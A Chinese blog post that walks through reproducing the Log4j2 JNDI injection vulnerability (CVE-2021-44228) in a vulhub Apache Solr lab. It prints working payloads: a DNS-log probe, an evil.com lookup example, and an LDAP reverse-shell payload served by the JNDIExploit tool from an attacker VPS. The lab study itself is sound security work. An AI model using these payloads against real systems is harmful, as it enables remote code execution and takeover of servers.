山水有相逢
发布于 IP属地江苏省

Log4j2 JNDI注入复现

log4j2是一个常用的Java日志框架,用于记录应用程序的日志信息。然而,在log4j2的早期版本中,存在一个严重的安全漏洞,即JNDI注入漏洞。

漏洞原理及名词解释

原理:
log4j2的日志输出jndi远程对象时,调用远程对象没做检查导致。攻击者通过构造特定的JNDI名称,可以指定要注入的恶意对象。这个名称可以是一个远程URL、一个RMI对象、一个LDAP路径等,攻击者可以根据目标系统的配置和漏洞来选择适合的注入方式。
名词解释:
Log4j 2是一种流行的Java日志记录框架,用于在应用程序中生成和管理日志。
JNDI是Java提供的一种标准API,用于在Java应用程序中访问命名和目录服务。它允许应用程序通过名称查找和访问各种资源,如数据库连接、消息队列等。可以通过传入类似于${jndi:ldap://evil.com/example}的lookup函数用于进行JNDI注入,执行任意代码。
**lookup函数:**lookup函数是一种功能强大的机制,可用于在日志配置文件中动态获取属性的值。它允许您使用特殊的占位符来引用属性,并在运行时将其替换为实际的值。Lookup函数使用${}语法,并通过配置文件中的配置项进行定义
LDAP即Lightweight Directory Access Protocol(轻量级目录访问协议),目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好像它的名字一样。
**RMI:**是Java语言提供的一种远程调用机制,用于实现在分布式系统中不同Java虚拟机(JVM)之间的方法调用和对象传输。

漏洞环境搭建

Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。
执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1:

#vulhub:Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

docker compose up -d


访问localhost:8983即可查看到Apache Solr的后台页面

漏洞复现

漏洞验证

{jndi:ldap://{sys:java.version}.dnslog}是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下数据包:

发送后网页状态码为400,然后查看dnslog页面,收到相关日志,显示出当前Java版本:

说明漏洞存在,进行JNDI注入
漏洞复现
工具:
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus
在vps中使用JNDI工具获取payload
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i your-ip -u

使用ldap://协议进行反弹shell
ldap://your-ip:1389/Basic/ReverseShell/[ip]/[port]

  windows不支持

然后使用工具开启一个监听提供远程加载
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i your-ip

再开启一个监听接收shell

payload利用,使用get传参将ldap协议payload传入?action进行JNDI注入

send,返回400,查看接收shell的监听

成功拿到shell。

浏览 (1071)
点赞 (4)
收藏
打赏
评论